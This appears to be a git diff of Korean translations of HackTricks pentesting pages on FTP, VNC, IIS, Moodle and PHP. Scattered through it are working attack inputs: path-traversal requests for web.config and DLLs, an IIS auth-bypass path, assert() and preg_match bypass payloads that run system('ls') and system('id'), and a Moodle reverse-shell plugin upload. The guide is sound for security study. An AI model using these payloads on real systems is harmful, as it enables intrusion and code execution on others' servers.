{{#endfile}}
|
||||
|
||||
- **프로토콜과 관련된 "정크" 데이터로 요청을 채우려고 시도합니다** (FTP와 대화할 때 아마도 정크 명령이나 파일을 가져오기 위해 `RETR` 명령을 반복).
|
||||
- **많은 널 문자나 다른 문자로 요청을 채웁니다** (줄로 나누거나 나누지 않고).
|
||||
- **프로토콜과 관련된 "정크" 데이터로 요청을 채우려고 시도합니다** (FTP와 대화할 때는 아마도 정크 명령이나 `RETR` 명령을 반복하여 파일을 가져오는 것).
|
||||
- **많은 널 문자 또는 다른 문자로 요청을 채우려고 시도합니다** (줄로 나누거나 나누지 않고).
|
||||
|
||||
어쨌든, 여기 [다른 FTP 서버에서 파일을 다운로드하도록 FTP 서버를 악용하는 방법에 대한 오래된 예제가 있습니다.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla 서버 취약점
|
||||
## Filezilla Server Vulnerability
|
||||
|
||||
**FileZilla**는 일반적으로 **로컬**에 **FileZilla-Server**(포트 14147)를 위한 **관리 서비스**를 **바인딩**합니다. 이 포트에 접근하기 위해 **당신의 머신**에서 **터널**을 생성할 수 있다면, **빈 비밀번호**를 사용하여 **연결**하고 FTP 서비스에 대한 **새 사용자**를 **생성**할 수 있습니다.
|
||||
|
||||
## 구성 파일
|
||||
## Config files
|
||||
```
|
||||
ftpusers
|
||||
ftp.conf
|
||||
|
@ -16,9 +16,9 @@ PORT STATE SERVICE
|
||||
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
```
|
||||
### [**무차별 대입 공격**](../generic-hacking/brute-force.md#vnc)
|
||||
### [**브루트 포스**](../generic-hacking/brute-force.md#vnc)
|
||||
|
||||
## Kali를 사용하여 vnc에 연결하기
|
||||
## 칼리를 사용하여 vnc에 연결하기
|
||||
```bash
|
||||
vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
```
|
||||
@ -35,11 +35,12 @@ vncpwd <vnc password file>
|
||||
**Windows**의 경우 이 도구를 사용할 수도 있습니다: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
접근을 용이하게 하기 위해 이 도구를 여기에도 저장합니다:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -37,7 +37,9 @@ X-FEServer: NHEXCHANGE2016
|
||||
|
||||
제가 만든 목록을 다운로드하세요:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
다음 목록의 내용을 병합하여 생성되었습니다:
|
||||
|
||||
@ -57,7 +59,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 다운로드할 수 있습니다.\
|
||||
> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 개의 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 다운로드할 수 있습니다.\
|
||||
> **다운로드한 Dlls**에서 **새로운 namespaces**를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.\
|
||||
> 또한, **connectionstrings.config** 및 **global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다.\\
|
||||
|
||||
@ -65,7 +67,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
|
||||
### **이진 파일 탐색**
|
||||
|
||||
**web.config** 파일에 접근하는 예는 아래에 나와 있습니다:
|
||||
**web.config** 파일에 접근하는 예는 아래와 같습니다:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -82,7 +84,7 @@ Host: example-mvc-application.minded
|
||||
|
||||
### **루트 디렉토리 파일**
|
||||
|
||||
루트 디렉토리에서 발견된 파일, 예를 들어 **/global.asax** 및 민감한 비밀번호를 포함하는 **/connectionstrings.config**는 애플리케이션의 구성 및 운영에 필수적입니다.
|
||||
루트 디렉토리에서 발견된 파일, 예를 들어 **/global.asax** 및 민감한 비밀번호가 포함된 **/connectionstrings.config**는 애플리케이션의 구성 및 운영에 필수적입니다.
|
||||
|
||||
### **네임스페이스 및 Web.Config**
|
||||
|
||||
@ -93,18 +95,18 @@ Host: example-mvc-application.minded
|
||||
```
|
||||
### **DLL 다운로드**
|
||||
|
||||
사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하라는 요청이 표시됩니다:
|
||||
사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하는 요청이 표시됩니다:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
이것은 /bin 디렉토리에 **System.Web.Mvc.dll** 및 **System.Web.Optimization.dll**과 같은 다른 필수 DLL의 존재를 시사합니다.
|
||||
|
||||
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함하고 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다.
|
||||
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함하고 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL인 **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다.
|
||||
|
||||
### 일반 파일
|
||||
|
||||
[여기서](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
[여기](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)에서
|
||||
```
|
||||
C:\Apache\conf\httpd.conf
|
||||
C:\Apache\logs\access.log
|
||||
@ -183,14 +185,14 @@ C:\xampp\tomcat\conf\server.xml
|
||||
```
|
||||
## HTTPAPI 2.0 404 오류
|
||||
|
||||
다음과 같은 오류가 표시되면:
|
||||
다음과 같은 오류가 발생하면:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\
|
||||
웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해 볼 수 있으며, 그 안에서 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 없다면, **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다.
|
||||
|
||||
## 살펴볼 가치가 있는 오래된 IIS 취약점
|
||||
## 확인할 가치가 있는 오래된 IIS 취약점
|
||||
|
||||
### Microsoft IIS 물결 문자 “\~” 취약점/기능 – 짧은 파일/폴더 이름 노출
|
||||
|
||||
@ -205,13 +207,13 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
**metasploit**를 사용할 수도 있습니다: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
발견된 파일의 **최종 이름을 찾는** 좋은 아이디어는 **LLMs에 옵션을 요청하는 것**입니다. 이는 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 스크립트에서 수행됩니다.
|
||||
발견된 파일의 **최종 이름을 찾는** 좋은 아이디어는 **LLM에게** 옵션을 요청하는 것입니다. 이는 스크립트 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)에서 수행됩니다.
|
||||
|
||||
### 기본 인증 우회
|
||||
|
||||
**기본 인증을 우회**하기 위해 다음에 접근해 보십시오: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
**IIS 7.5**의 기본 인증을 **우회**하려면 다음에 접근해 보십시오: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 **인증을 우회**할 수 있습니다.
|
||||
이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 인증을 **우회**할 수 있습니다.
|
||||
|
||||
## ASP.NET Trace.AXD 활성화된 디버깅
|
||||
|
||||
@ -229,17 +231,17 @@ ASP.NET은 디버깅 모드를 포함하며, 그 파일은 `trace.axd`라고 불
|
||||
|
||||
ASPXAUTH는 다음 정보를 사용합니다:
|
||||
|
||||
- **`validationKey`** (문자열): 서명 검증에 사용할 16진수 인코딩 키.
|
||||
- **`validationKey`** (문자열): 서명 검증에 사용할 헥스 인코딩된 키.
|
||||
- **`decryptionMethod`** (문자열): (기본값 “AES”).
|
||||
- **`decryptionIV`** (문자열): 16진수 인코딩 초기화 벡터 (기본값은 제로 벡터).
|
||||
- **`decryptionKey`** (문자열): 복호화에 사용할 16진수 인코딩 키.
|
||||
- **`decryptionIV`** (문자열): 헥스 인코딩된 초기화 벡터(기본값은 제로 벡터).
|
||||
- **`decryptionKey`** (문자열): 복호화에 사용할 헥스 인코딩된 키.
|
||||
|
||||
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **사칭하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 사칭할 수 있습니다**.\
|
||||
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **가짜 사용자로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있습니다.**\
|
||||
이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공했습니다.
|
||||
|
||||
## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 **캐시**에 이미 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다.
|
||||
[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 이미 **캐시**에 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 자동 스캔
|
||||
|
||||
### droopescan
|
||||
@ -63,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 매우 쓸모없다는 것을 발견했다**. 당신은 **여기에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 꽤 **쓸모없다는 것을 발견했다**. 당신은 **여기에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
|
||||
## **RCE**
|
||||
|
||||
@ -73,9 +72,11 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
||||
관리자라면 여전히 **이 옵션을 활성화해야 할 수도 있다**. 무들 권한 상승 PoC에서 어떻게 하는지 볼 수 있다: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
그런 다음, **다음 플러그인을 설치할 수 있다**. 이 플러그인은 고전적인 pentest-monkey php r**ev shell**을 포함하고 있다 (_업로드하기 전에 압축을 풀고, revshell의 IP와 포트를 변경한 후 다시 압축해야 한다_)
|
||||
그런 다음, 클래식 pentest-monkey php r**ev shell**이 포함된 **다음 플러그인**을 **설치할 수 있다** (_업로드하기 전에 압축을 풀고, revshell의 IP와 포트를 변경한 후 다시 압축해야 한다_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
또는 [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)에서 플러그인을 사용하여 "cmd" 매개변수를 가진 일반 PHP 셸을 얻을 수 있다.
|
||||
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cookies common location:
|
||||
## 쿠키의 일반적인 위치:
|
||||
|
||||
이것은 phpMyAdmin 쿠키에도 유효합니다.
|
||||
|
||||
Cookies:
|
||||
쿠키:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
@ -22,16 +22,18 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
|
||||
### 느슨한 비교/타입 조작 ( == )
|
||||
|
||||
`==`가 PHP에서 사용되면, 비교가 예상대로 작동하지 않는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
|
||||
`==`가 PHP에서 사용되면, 비교가 예상과 다르게 동작하는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
|
||||
|
||||
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
|
||||
- `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일할 경우 True로 결과가 나옵니다 (문자열의 숫자는 숫자로 해석됩니다).
|
||||
- `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다).
|
||||
- `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
||||
- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
||||
- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
@ -62,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
### 엄격한 타입 조작
|
||||
|
||||
`===`가 **사용되고** 있더라도 **비교가 취약해지는** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 유형의 객체로 변환하는 경우**:
|
||||
`===`가 **사용되고** 있더라도 **비교가 취약한** **타입 조작**으로 인해 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -72,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
#### New line bypass
|
||||
|
||||
그러나 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 어떤 방법으로든 **여러 줄**로 입력을 **전송**할 수 있다면 이 검사를 우회할 수 있습니다. 예:
|
||||
그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**에 걸쳐 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -91,9 +93,9 @@ echo preg_match("/^.*1.*$/",$myinput);
|
||||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
여기에서 예제를 찾으세요: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Length error bypass**
|
||||
#### **길이 오류 우회**
|
||||
|
||||
(이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다)\
|
||||
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 되어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다:
|
||||
@ -111,10 +113,10 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
|
||||
|
||||
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\
|
||||
**정규 표현식이 100,000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만들고, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
|
||||
**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력을 악의적이지 않다고 생각하게 만들고, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
|
||||
|
||||
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1,000,000(1M)입니다.\
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다(500k 전진 및 500k 후진):
|
||||
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1_000_000 (1M)입니다.\
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
@ -131,7 +133,7 @@ $obfs += ""; //int 7
|
||||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 **호출되지 않으면**, PHP는 계속 실행되며 데이터를 본문에 추가합니다:
|
||||
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
@ -151,16 +153,16 @@ readfile($page);
|
||||
|
||||
## 더 많은 트릭
|
||||
|
||||
- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있을 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다\*\*.
|
||||
- **동일 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다**.\
|
||||
이렇게 하면 **두 경로가 동일한 이름의 변수를 접근할 경우** **path1의 해당 변수 값을 path2에 적용할 수 있습니다**. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
|
||||
- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 전역 변수인 $\_GET에 값이 있는 경우 e.g. $\_GET\["param"]="1234", 이를 **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 **덮어쓸 수 있습니다.**
|
||||
- **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 할 수 있습니다.**\
|
||||
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우** **path1의 그 변수 값을 path2에 적용할 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
|
||||
- 머신 사용자의 **사용자 이름**이 있을 때, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다.
|
||||
- [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\
|
||||
지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일하다는 점에 유의하십시오.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 할 경우, 처음 72B만 사용됩니다:
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
|
||||
지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 할 때, 처음 72B만 사용됩니다:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -172,7 +174,7 @@ True
|
||||
|
||||
#### Causing error after setting headers
|
||||
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP는 응답에서 헤더를 설정하지 않을 것입니다.
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP은 응답에서 헤더를 설정하지 않을 것입니다.
|
||||
|
||||
예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있습니다:
|
||||
```php
|
||||
@ -221,12 +223,12 @@ preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
### **Assert()를 통한 RCE**
|
||||
|
||||
이 php 내의 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
|
||||
php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻기 위해 다음과 같이 할 수 있습니다:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
코드 **구문**을 **깨고**, **페이로드**를 **추가한 다음** 다시 **수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 마찬가지로 ";"도 작동하지 않으며, 우리의 페이로드가 실행되지 않습니다.
|
||||
코드 **구문**을 **깨고**, **페이로드**를 **추가한 다음** 다시 **수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문에 "or", "||"는 작동하지 않습니다. 마찬가지로 ";"도 작동하지 않으며 우리의 페이로드가 실행되지 않습니다.
|
||||
|
||||
**다른 옵션**은 문자열에 명령 실행을 추가하는 것입니다: `'.highlight_file('.passwd').'`
|
||||
|
||||
@ -259,7 +261,7 @@ You can also use **//** to comment the rest of the code.
|
||||
|
||||
To discover the number of parenthesis that you need to close:
|
||||
|
||||
